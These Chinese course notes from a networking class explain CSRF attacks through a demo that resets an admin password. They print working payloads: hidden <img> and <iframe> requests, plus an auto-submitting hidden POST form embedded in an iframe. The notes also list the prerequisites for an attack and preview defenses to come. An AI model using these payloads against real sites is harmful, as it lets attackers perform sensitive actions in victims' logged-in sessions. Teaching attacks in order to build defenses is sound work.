课程笔记:CSRF 跨站点请求伪造攻击案例
课程名称:计算机网络应用 核心摘要:本讲在上一讲 CSRF 基本原理的基础上,以"重置管理员密码"为场景演示一次完整的 CSRF 攻击流程,分析 GET / POST 两种攻击实现方式、攻击成功的三个先决条件,并归纳 CSRF 的成因、特点与危害,为下一讲的防护方案做铺垫。
一、 核心概念与原理
- CSRF(Cross-Site Request Forgery,跨站请求伪造):攻击者利用用户在受信任网站 A 中尚未过期的登录凭证(Cookie),诱导用户浏览器在不知情的情况下,向 A 发起一个伪造的请求,从而以用户身份完成敏感操作。
- 关键本质:请求是用户浏览器自己发出的,且携带了用户真实的 Cookie,因此服务器无法仅凭 Cookie 区分这是用户本意还是被伪造的请求——故称"伪造"。
- 与 XSS 的区别:CSRF 不需要在目标网站注入脚本,而是借助第三方恶意页面"借用"用户的会话凭证;攻击难度高于 XSS,但出现频率相对较低,反而易被忽视。
二、 技术细节与协议分析
2.1 攻击场景与目标接口
| 项目 | 内容 |
|---|---|
| 目标系统 | 留言板后台管理系统(www.edu.lagou.com) |
| 登录账号 | admin / 123456 |
| 漏洞接口 | http://www.edu.lagou.com/admin/reset_password?id=1(id=1 为管理员用户) |
| 接口作用 | 重置指定 id 用户的密码为 123456 |
| 请求方法 | GET(演示)/ POST(通用) |
| 攻击效果 | 管理员密码被重置 → 黑客获得管理员凭证 |
2.2 完整攻击流程
| 步骤 | 主体 | 动作 | 结果 |
|---|---|---|---|
| 1 | 管理员 | 登录后台管理系统 admin/123456 | 浏览器保存登录 Cookie |
| 2 | 管理员 | 收到诱惑邮件,单击恶意链接("想和小姐姐一起快乐敲代码吗") | 进入恶意页面 beautiful.html |
| 3 | 恶意页面 | 返回 HTML,其中包含伪装的 <img> 标签,src 指向重置密码接口 | 浏览器自动加载图片即自动发起请求 |
| 4 | 浏览器 | 携带原有 Cookie 发出 GET 请求到 reset_password?id=1 | 服务器以管理员身份执行重置 |
| 5 | 黑客 | 使用 admin / 123456 登录后台 | 获取管理员权限,可删库、拷数据 |
2.3 GET 攻击实现(beautiful.html)
<!-- 上方:正常诱饵图片,吸引用户停留 -->
<img src="beautiful.png" alt="美女给你留言了">
<!-- 下方:伪装为图片的攻击载荷,display:none 隐藏避免出现裂图 -->
<img
src="http://www.edu.lagou.com/admin/reset_password?id=1"
style="display:none">
- 要点:浏览器解析 HTML 时会自动请求
img.src指向的 URL,只要页面被打开,攻击即完成,无需用户再次点击。 style="display:none"的作用:该 URL 实为攻击链接,服务器不会返回真正的图片,会产生"裂图"错误图标;设置隐藏可避免暴露攻击意图。
2.4 等价载荷:<iframe> 方式
<iframe
src="http://www.edu.lagou.com/admin/reset_password?id=1"
style="display:none"></iframe>
iframe同样可以加载外部 URL,把src设为攻击链接并隐藏即可,效果与<img>一致。
2.5 POST 攻击实现
针对改密等敏感操作通常使用 POST 的接口,CSRF 同样可以构造:
<!-- attack.html:自动提交的隐藏表单 -->
<form id="csrf-form"
action="http://www.edu.lagou.com/admin/reset_password"
method="post">
<input type="hidden" name="id" value="1">
<input type="hidden" name="password" value="123456">
</form>
<script>document.getElementById('csrf-form').submit();</script>
<!-- beautiful.html:通过 iframe 引入自动提交表单,避免页面跳转 -->
<iframe src="attack.html" style="display:none"></iframe>
- 表单
method="post",action指向目标接口。 input type="hidden"隐藏参数,不让用户看见。- JavaScript 自动
submit(),无需用户点击即可提交。 - 通过
iframe引入可避免表单提交导致页面跳转暴露攻击。
结论:无论是 GET 还是 POST 接口,CSRF 均可构造对应载荷完成攻击。
2.6 攻击成败的关键验证:Cookie 是否过期
- 攻击成功的前提:用户在浏览器中对网站 A 的登录 Cookie 尚未过期。
- 演示验证:重启后台应用 → Cookie 失效 → 重新刷新恶意页面 → 新标签打开提示"请先登录" → 攻击失败。
- 结论:一旦 Cookie 过期需要重新登录,伪造请求将因无有效会话而被服务器拒绝。
三、 实践应用与配置命令
3.1 F12 调试模式验证攻击过程
- 打开恶意页面后按
F12进入开发者工具 → Network(网络) 面板。 Ctrl + R刷新页面,可观察到请求列表:beautiful.html—— 恶意页面本体beautiful.png—— 诱饵图片reset_password?id=1—— 实际发起的攻击请求
- 在新 Tab 单独打开
reset_password?id=1,可看到密码已被重置为123456。
3.2 攻击三要素(先决条件)
1. 用户 Cookie 未过期 —— 保证请求携带有效会话凭证
2. 了解目标网站接口 —— 需知道 reset_password、id 等参数
3. 诱导链接点击成功 —— 钓鱼/诱惑邮件让用户主动访问恶意页
3.3 攻击载荷常用载体
| 载体 | 适用请求方法 | 是否需用户再次点击 | 隐藏方式 |
|---|---|---|---|
<img src> | GET | 否,自动加载 | display:none |
<iframe src> | GET | 否,自动加载 | display:none |
<form> + JS 自动提交 | POST | 否,自动提交 | iframe 嵌入 + hidden 字段 |
四、 重点与难点提示
- 考点 1:CSRF 的定义——跨站请求伪造,核心是"借用"用户 Cookie 发起请求,而非窃取 Cookie(注意与 XSS 区分)。
- 考点 2:CSRF 攻击成功的三个先决条件:Cookie 未过期、了解目标接口、诱导点击成功。
- 考点 3:GET 与 POST 两种 CSRF 载荷的构造方式(
<img>/<iframe>vs 隐藏表单 + 自动提交)。 - 考点 4:
display:none与type="hidden"的作用——隐藏攻击痕迹,避免用户察觉。 - 易错点:CSRF 不盗取 Cookie,而是让浏览器携带 Cookie 去发请求;服务器看到的请求是"合法"的,因此仅靠 Cookie 无法防御。
- 易错点:CSRF 攻击难度高于 XSS,但频率较低,反而易因防护松懈而被利用。
- 面试题:简述 CSRF 与 XSS 的区别?为何说 CSRF 难度更大?请举出 CSRF 的两种载荷实现。
- 危害面:修改密码、修改邮箱、网银转账、创建用户、权限管理、下单购买等一切敏感操作,只要接口被攻击者掌握均可被伪造。
五、 课后疑问/遗留问题
- CSRF 既然请求是合法的,服务器应如何识别"非用户本意"的请求?——下一讲将讲解防护方案(如 Referer 校验、Token、验证码等)。
- 同源策略为何没能阻止 CSRF?——CSRF 是跨"站"请求,浏览器默认会携带目标域 Cookie,同源策略限制的是"读取"响应而非"发送"请求。
- 针对大量同类型接口(如
/user/*),攻击者即使一次接口写错也可通过枚举多个请求提高成功率,开发层面如何避免接口被探测? - 银行转账类场景中,仅凭 Cookie 信任是否足够?应引入哪些二次验证机制?